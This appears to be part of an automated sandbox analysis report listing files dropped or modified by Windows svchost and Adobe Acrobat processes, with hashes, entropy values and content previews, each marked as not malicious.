SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrW:KooCEYhgYEL0In
MD5:	2FEB2B8BEC36F15BD5E64D065F4CC300
SHA1:	4CE4893CC66DF561D9D1A480157D5C7A056B1F32
SHA-256:	6D7A504ED4B1614337412FD39DB004D6B600ED57089CBA9FA645A1A51654C056
SHA-512:	BACDA2E03A5CE6E8824DD505FBFEBA97CDB1F86C4FA73E92C04558A508293B112A62922965BACE96DD34EBA5A3858535A2BC02E40DF66B4E7AB61923401008C0
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x6df07c90, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.422140532637093
Encrypted:	false
SSDEEP:	1536:RSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Raza/vMUM2Uvz7DO
MD5:	3F0D8248229390CE02D035C6260E40C9
SHA1:	AE9D9FCB4269594954B625E915038E7D9CBBA202
SHA-256:	93F296CDF872CB530DD75B156F438F53E5B23CF82CCEF4DBC9862AC8CA349978
SHA-512:	2C18E0AFD1833A5D693A9F28733C14DF921AC1DAFCC231BD3A27C0A0BFD47673CC4D0FA2FA5704D68D666C5A0CE6EA91BDD0167DF70D28BC73949FF57A141DB7
Malicious:	false
Preview:	m.\|.... .......A.......X\...;...{......................0.!..........{A."....}!.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{......................................#....}k....................e"....}A..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0766415877866752
Encrypted:	false
SSDEEP:	3:1wXlKYewGkYil5Cjn13a/nHzltillcVO/lnlZMxZNQl:ulKz553qnTXGOewk
MD5:	F276F4942B2E7B619BB177053DC98E2F
SHA1:	E37183865BAEE267D2C6337F4F83859FDA45A515
SHA-256:	9BD2B5E34D7824DDAD8577FB7F4854F7BBFA6FDDF3D3C69149197BB740F164AB
SHA-512:	BF2D623AA2E4C7CB34F6994E810B06DCDBDBE0471AA11839A0ACA106D2615C7CC2C5663F98CBF37728F42352E52A83C66CFA5228F2A42BB1AF250CA631817208
Malicious:	false
Preview:	4..g.....................................;...{.."....}A......{A..............{A......{A..........{A]...................e"....}A.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.204098970409668
Encrypted:	false
SSDEEP:	6:iOlGBpM+q2Pwkn2nKuAl9OmbnIFUtHGBOZZmwpGBOMMVkwOwkn2nKuAl9OmbjLJ:7ypM+vYfHAahFUtlZ/XMMV5JfHAaSJ
MD5:	BAFD0E52E94967C6B0CBB86BC356F9DB
SHA1:	9A148C49235B6E73CD087C301A1365DACDB0625B
SHA-256:	4533F06E70A3B00B1FB613023029A490EE717D218A8B649B82C210F443A8CB22
SHA-512:	07C339C97848F9CD158F54F3BC6EE2139ABD2432C46DC4E7E8E7327CC2453318AA988BCEA85EF1A9416A355BED54278C1FD7A5C0CE4769C998487679787BD93A
Malicious:	false
Preview:	2025/01/11-03:08:34.470 1ffc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-03:08:34.474 1ffc Recovering log #3.2025/01/11-03:08:34.474 1ffc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.204098970409668
Encrypted:	false
SSDEEP:	6:iOlGBpM+q2Pwkn2nKuAl9OmbnIFUtHGBOZZmwpGBOMMVkwOwkn2nKuAl9OmbjLJ:7ypM+vYfHAahFUtlZ/XMMV5JfHAaSJ
MD5:	BAFD0E52E94967C6B0CBB86BC356F9DB
SHA1:	9A148C49235B6E73CD087C301A1365DACDB0625B
SHA-256:	4533F06E70A3B00B1FB613023029A490EE717D218A8B649B82C210F443A8CB22
SHA-512:	07C339C97848F9CD158F54F3BC6EE2139ABD2432C46DC4E7E8E7327CC2453318AA988BCEA85EF1A9416A355BED54278C1FD7A5C0CE4769C998487679787BD93A
Malicious:	false
Preview:	2025/01/11-03:08:34.470 1ffc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-03:08:34.474 1ffc Recovering log #3.2025/01/11-03:08:34.474 1ffc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.16481934317666
Encrypted:	false
SSDEEP:	6:iOlGoq2Pwkn2nKuAl9Ombzo2jMGIFUtHGjZmwpGJB7kwOwkn2nKuAl9Ombzo2jM4:7FvYfHAa8uFUtA/UZ5JfHAa8RJ
MD5:	C67521CBD12B4D50943270D54C07CAAF
SHA1:	FE36DF27D8EA8A6FCD49DCD5A5BE6C54171EFF97
SHA-256:	AC5B71E839DA7E1260B4E4FA484D50698238FAD64716E2CFEEDBF8F27FB0C8B5
SHA-512:	F20CD19142808C49F936B47CA00A6173B10454366B6B22EF812B55FD5FB6A02867DA09A5EE45C5EEC0D6575D4E4FA0AFE0453DA88B480B68D8201BC9167FD052
Malicious:	false
Preview:	2025/01/11-03:08:34.487 10d0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-03:08:34.489 10d0 Recovering log #3.2025/01/11-03:08:34.490 10d0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.16481934317666
Encrypted:	false
SSDEEP:	6:iOlGoq2Pwkn2nKuAl9Ombzo2jMGIFUtHGjZmwpGJB7kwOwkn2nKuAl9Ombzo2jM4:7FvYfHAa8uFUtA/UZ5JfHAa8RJ
MD5:	C67521CBD12B4D50943270D54C07CAAF
SHA1:	FE36DF27D8EA8A6FCD49DCD5A5BE6C54171EFF97
SHA-256:	AC5B71E839DA7E1260B4E4FA484D50698238FAD64716E2CFEEDBF8F27FB0C8B5
SHA-512:	F20CD19142808C49F936B47CA00A6173B10454366B6B22EF812B55FD5FB6A02867DA09A5EE45C5EEC0D6575D4E4FA0AFE0453DA88B480B68D8201BC9167FD052
Malicious:	false
Preview:	2025/01/11-03:08:34.487 10d0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-03:08:34.489 10d0 Recovering log #3.2025/01/11-03:08:34.490 10d0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.957393568407869
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqpsBdOg2Hzcaq3QYiubInP7E4T3y:Y2sRds7dMHK3QYhbG7nby
MD5:	4B5562646F3FF77B66D50B8F8CCE75B2
SHA1:	5E68F4A2B757A1771A65CD46D9126D5CAAF26C50
SHA-256:	B71B87216712DF4B7A245C23C9F7BD259A1744AA1750DA8690A377C18C8BABD9
SHA-512:	CE4DAA276B78B05836B146D8F606EE2DD76C73289B6F095D2031A3360AC4EC0CCDBA9630BDA14FDAB355776D1DB2A9BCAA7BED451BBFCCE45043AAEAD1813F2E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381142925610001","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":131084},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ff4e1efc-1bec-4bbf-9c38-0e3d095a953a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.957393568407869
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqpsBdOg2Hzcaq3QYiubInP7E4T3y:Y2sRds7dMHK3QYhbG7nby
MD5:	4B5562646F3FF77B66D50B8F8CCE75B2
SHA1:	5E68F4A2B757A1771A65CD46D9126D5CAAF26C50
SHA-256:	B71B87216712DF4B7A245C23C9F7BD259A1744AA1750DA8690A377C18C8BABD9
SHA-512:	CE4DAA276B78B05836B146D8F606EE2DD76C73289B6F095D2031A3360AC4EC0CCDBA9630BDA14FDAB355776D1DB2A9BCAA7BED451BBFCCE45043AAEAD1813F2E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381142925610001","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":131084},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.259250949998502
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7HT2ZX:etJCV4FiN/jTN/2r8Mta02fEhgO73go2
MD5:	EA7389D94CA9439D59E38E808E09F04C
SHA1:	238DB170C53C8956AAFF67EE9BF43A8DBE70B249
SHA-256:	847650F179EC2F79B06E7E8705514E2AD26A6AB1CF42407D5D1EF42A325A0843
SHA-512:	3A8AEEE1CC25BB6F112500D655FB097EC53FAC0DC8C89296BCD9044D0CE3BE89A51874727971D5A2159FB42E083F2CBECE5E61A19CECDF54B5E02ADF08273FA9
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.166013125683
Encrypted:	false
SSDEEP:	6:iOlGIacq2Pwkn2nKuAl9OmbzNMxIFUtHGIZZmwpGIQFkwOwkn2nKuAl9OmbzNMFd:70cvYfHAa8jFUt5/i5JfHAa84J
MD5:	ACE048EB635BD27B5D44E44A1F31604E
SHA1:	ADA5507B0D42DEFDCC57AE3EF39B81CB91D058EE
SHA-256:	17ED6AC08D2D4222D6D2F7110D8A3146ED13F1355A46A84B9D14B9FECBD81A60
SHA-512:	FB7B03944A35C3D136844F38BB340DF962B3AFCEB36A9A05F04DADAD3E15EB8241E583B0D0709F26B16D3D1CE334B046EC016A2F42C6C19CAC0AB236F148ED44
Malicious:	false
Preview:	2025/01/11-03:08:34.906 10d0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-03:08:34.907 10d0 Recovering log #3.2025/01/11-03:08:34.908 10d0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.166013125683
Encrypted:	false
SSDEEP:	6:iOlGIacq2Pwkn2nKuAl9OmbzNMxIFUtHGIZZmwpGIQFkwOwkn2nKuAl9OmbzNMFd:70cvYfHAa8jFUt5/i5JfHAa84J
MD5:	ACE048EB635BD27B5D44E44A1F31604E
SHA1:	ADA5507B0D42DEFDCC57AE3EF39B81CB91D058EE
SHA-256:	17ED6AC08D2D4222D6D2F7110D8A3146ED13F1355A46A84B9D14B9FECBD81A60
SHA-512:	FB7B03944A35C3D136844F38BB340DF962B3AFCEB36A9A05F04DADAD3E15EB8241E583B0D0709F26B16D3D1CE334B046EC016A2F42C6C19CAC0AB236F148ED44
Malicious:	false
Preview:	2025/01/11-03:08:34.906 10d0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-03:08:34.907 10d0 Recovering log #3.2025/01/11-03:08:34.908 10d0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 17, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 17
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4449849355334825
Encrypted:	false
SSDEEP:	384:SeCci5tsiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:uLs3OazzU89UTTgUL
MD5:	403C945F41F2C7AACA87C6DCBF5434FF
SHA1:	D3D1E35EC504338B0CB8721601A728B72631AA0A
SHA-256:	DF13B2D6870D466A95149D29A18C19C3A132F2ECAAACDF152B44A7221E39600B
SHA-512:	F58BF5B7274BAB755E3007ED3047F5F702BD3CAA7BF96C22D217F5DD1B2100392BA745430F588BB645AFDAF1E6A5AD817C8616EB017C27FB5318F16B3C59D489
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2133404428445878
Encrypted:	false
SSDEEP:	24:7+tE/nuwKxqLrzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9M9:7McnCxqvmFTIF3XmHjBoGGR+jMz+LhQ
MD5:	5372734CEB41BC741F65554AA25FD6B6
SHA1:	585551324AC94E37DAEAE7EDB6A30D42ECE74244
SHA-256:	B95B132304AD00882F4C285BB8A9BB094F66100585E2120FF7325E0C9D1D17BD
SHA-512:	9962BA24234A055FF607107A04B16EE4669F9ABF2D05245F979D955101490C76D0558C774AAE7B77F531FF4A00F5BC5BF7DC28F7CD6B60B1142D938469C33F42
Malicious:	false
Preview:	.... .c.......?.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.724913503120493
Encrypted:	false
SSDEEP:	3:kkFkl22slB+E/ltfllXlE/HT8kz7jNNX8RolJuRdxLlGB9lQRYwpDdt:kKv2o+kleT86tNMa8RdWBwRd
MD5:	83223CC71809353CA823ACB41BC5B570
SHA1:	DB28600D8D2D544C396B47E6C95C8DB3CAAC2E7F
SHA-256:	E67E9B12B41794C34EA9A2FEDFDAD258363A5E4FCF2FD64E48C9089DF00A8643
SHA-512:	B8A6E10C4EC501320ECFBA065B07BE2D3DD10507B81994110F0DEC4F5FAB49305F811E1760B5F9B21336595E6F463EB0C0AE0AAAEF335D28CB8054EDCC84039A
Malicious:	false
Preview:	p...... .........mn..d..(....................................................... ..........W.....M..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7840

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat 